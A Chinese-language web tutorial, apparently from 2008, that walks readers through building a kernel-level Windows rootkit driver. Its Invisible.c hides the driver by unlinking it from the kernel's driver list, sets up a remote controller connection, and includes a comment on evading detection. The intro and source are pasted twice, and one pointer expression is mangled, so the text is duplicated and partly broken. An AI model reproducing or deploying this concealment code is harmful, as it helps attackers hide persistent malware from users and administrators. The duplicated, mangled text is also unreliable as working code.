Rootkit隱形技術(shù)教程(圖)
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 21:28:31 作者:佚名
我要評(píng)論

一、綜述
本文將引領(lǐng)讀者打造一個(gè)初級(jí)的內(nèi)核級(jí)Rootkit,然后為其引入兩種簡(jiǎn)單的隱形技術(shù):進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時(shí),為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗(yàn),我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測(cè)試技術(shù)。
本文介紹的Rootkit的主要
一、綜述
本文將引領(lǐng)讀者打造一個(gè)初級(jí)的內(nèi)核級(jí)Rootkit,然后為其引入兩種簡(jiǎn)單的隱形技術(shù):進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時(shí),為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗(yàn),我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測(cè)試技術(shù)。
本文介紹的Rootkit的主要構(gòu)件是一個(gè)設(shè)備驅(qū)動(dòng)程序,所以我們首先了解一下我們的第一個(gè)rootkit。
二、rootkit主體
本節(jié)引入一個(gè)簡(jiǎn)單的rootkit實(shí)例,它實(shí)際上只給出了rootkit的主體框架,換句話說(shuō),就是一個(gè)設(shè)備驅(qū)動(dòng)程序。那么為什么要用設(shè)備驅(qū)動(dòng)程序作為主體呢?很明顯,因?yàn)樵谙到y(tǒng)中,設(shè)備驅(qū)動(dòng)程序和操作系統(tǒng)一樣,都是程序中的特權(quán)階級(jí)——它們運(yùn)行于Ring0,有權(quán)訪問(wèn)系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點(diǎn)需要說(shuō)明的是,因?yàn)楸纠饕康脑谟诮榻Brootkit是如何隱形的,所以并沒(méi)有實(shí)現(xiàn)后門之類的具體功能,。
我們將以源代碼的形式說(shuō)明rootkit,對(duì)著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個(gè)文件,它是一個(gè)頭文件,名為Invisible.h,具體如下所示:
//Invisible.h:我們r(jià)ootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我們知道,應(yīng)用軟件只要簡(jiǎn)單引用幾個(gè)文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動(dòng)程序這里就行不通了,原因大致有二條,一是驅(qū)動(dòng)程序體積一般較為緊湊,二是驅(qū)動(dòng)程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個(gè)頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。
這里定義的類型中,有一個(gè)數(shù)據(jù)類型要提一下:雙字類型,它實(shí)際上是一個(gè)無(wú)符號(hào)長(zhǎng)整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個(gè)數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動(dòng)程序目錄中上一個(gè)和下一個(gè)設(shè)備驅(qū)動(dòng)程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動(dòng)程序來(lái)實(shí)現(xiàn),所以,只要從設(shè)備驅(qū)動(dòng)程序目錄中將我們的rootkit(即驅(qū)動(dòng)程序)所對(duì)應(yīng)的目錄項(xiàng)去掉,系統(tǒng)管理程序就看不到它了,從而實(shí)現(xiàn)了隱形。
上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實(shí)際就是一個(gè)基本的設(shè)備驅(qū)動(dòng)程序,具體代碼如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局變量
ULONG majorVersion;
ULONG minorVersion;
//當(dāng)進(jìn)行free build時(shí),將其注釋掉,以防被檢測(cè)到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來(lái)
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允許卸載本驅(qū)動(dòng)程序
pDriverObject->DriverUnload = OnUnload;
// 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
本文將引領(lǐng)讀者打造一個(gè)初級(jí)的內(nèi)核級(jí)Rootkit,然后為其引入兩種簡(jiǎn)單的隱形技術(shù):進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時(shí),為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗(yàn),我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測(cè)試技術(shù)。
本文介紹的Rootkit的主要構(gòu)件是一個(gè)設(shè)備驅(qū)動(dòng)程序,所以我們首先了解一下我們的第一個(gè)rootkit。
二、rootkit主體
本節(jié)引入一個(gè)簡(jiǎn)單的rootkit實(shí)例,它實(shí)際上只給出了rootkit的主體框架,換句話說(shuō),就是一個(gè)設(shè)備驅(qū)動(dòng)程序。那么為什么要用設(shè)備驅(qū)動(dòng)程序作為主體呢?很明顯,因?yàn)樵谙到y(tǒng)中,設(shè)備驅(qū)動(dòng)程序和操作系統(tǒng)一樣,都是程序中的特權(quán)階級(jí)——它們運(yùn)行于Ring0,有權(quán)訪問(wèn)系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點(diǎn)需要說(shuō)明的是,因?yàn)楸纠饕康脑谟诮榻Brootkit是如何隱形的,所以并沒(méi)有實(shí)現(xiàn)后門之類的具體功能,。
我們將以源代碼的形式說(shuō)明rootkit,對(duì)著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個(gè)文件,它是一個(gè)頭文件,名為Invisible.h,具體如下所示:
//Invisible.h:我們r(jià)ootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我們知道,應(yīng)用軟件只要簡(jiǎn)單引用幾個(gè)文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動(dòng)程序這里就行不通了,原因大致有二條,一是驅(qū)動(dòng)程序體積一般較為緊湊,二是驅(qū)動(dòng)程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個(gè)頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。
這里定義的類型中,有一個(gè)數(shù)據(jù)類型要提一下:雙字類型,它實(shí)際上是一個(gè)無(wú)符號(hào)長(zhǎng)整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個(gè)數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動(dòng)程序目錄中上一個(gè)和下一個(gè)設(shè)備驅(qū)動(dòng)程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動(dòng)程序來(lái)實(shí)現(xiàn),所以,只要從設(shè)備驅(qū)動(dòng)程序目錄中將我們的rootkit(即驅(qū)動(dòng)程序)所對(duì)應(yīng)的目錄項(xiàng)去掉,系統(tǒng)管理程序就看不到它了,從而實(shí)現(xiàn)了隱形。
上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實(shí)際就是一個(gè)基本的設(shè)備驅(qū)動(dòng)程序,具體代碼如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局變量
ULONG majorVersion;
ULONG minorVersion;
//當(dāng)進(jìn)行free build時(shí),將其注釋掉,以防被檢測(cè)到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來(lái)
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允許卸載本驅(qū)動(dòng)程序
pDriverObject->DriverUnload = OnUnload;
// 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
相關(guān)文章
封UDP的服務(wù)器真的打不了么?封UDP、封海外服務(wù)器
很多游戲服務(wù)器租用的時(shí)候會(huì)出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說(shuō)UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2024-05-07魔獸世界服務(wù)器被DDoS攻擊怎么辦?DDoS攻擊防御方法
魔獸世界服務(wù)器被攻擊在目前來(lái)說(shuō)也是比較常見(jiàn)的,同行競(jìng)爭(zhēng)激烈,在官服開放時(shí)也遇到過(guò)DDOS攻擊,要是飛飛沒(méi)記錯(cuò)是在22年9月14日,從剛開始的身份驗(yàn)證服務(wù)器出現(xiàn)問(wèn)題,到確2023-07-17分享五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具
這篇文章主要分享一下五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具,當(dāng)前企業(yè)對(duì)于網(wǎng)絡(luò)安全越來(lái)越重視,那么后期可能就需要大家多多關(guān)注一些安全工具的使用于檢測(cè)2019-12-01網(wǎng)絡(luò)安全基礎(chǔ)之網(wǎng)絡(luò)協(xié)議與安全威脅的關(guān)系介紹
網(wǎng)絡(luò)協(xié)議是什么呢?網(wǎng)絡(luò)協(xié)議是網(wǎng)絡(luò)中計(jì)算機(jī)或設(shè)備之間進(jìn)行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡(luò)協(xié)議和安全威脅的關(guān)系,需要的朋友不妨閱讀本文了解一下2019-04-02DDoS攻擊原理是什么?DDoS攻擊原理及防護(hù)措施介紹
DDoS攻擊是由DoS攻擊轉(zhuǎn)化的,這項(xiàng)攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進(jìn)行防御呢?本文中將會(huì)有詳細(xì)的介紹,需要的朋友不妨閱讀本文進(jìn)行參考2019-01-15基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備,感興趣的朋友不妨閱讀本文進(jìn)行了解2019-01-11為何黑客要挾制路由器DNS 用戶該怎樣實(shí)時(shí)發(fā)覺(jué)和防備方法
起首說(shuō)說(shuō)挾制路由器是什么意思,路由器挾制平日指的是,開啟了無(wú)線網(wǎng)絡(luò)功效的無(wú)線路由器,攻擊者經(jīng)由過(guò)程破解無(wú)線暗碼銜接上無(wú)線網(wǎng)后,再登錄路由治理界面來(lái)節(jié)制全部無(wú)線網(wǎng)2018-05-16大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)
這篇文章主要介紹了大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)置方法詳解,,小編覺(jué)得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,下面就來(lái)和小編一起看看2018-01-25詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密
這篇文章主要介紹了詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密,如何保護(hù)sd卡文件的安全,如何給SD卡設(shè)置密碼、如何給SD卡加密,下面就跟小編一起來(lái)看看吧2018-01-19server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法
這篇文章主要介紹了server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法詳細(xì)介紹,保護(hù)服務(wù)器共享文件設(shè)置訪問(wèn)權(quán)限,讓每個(gè)部門只訪問(wèn)自己的共享文件等,2018-01-19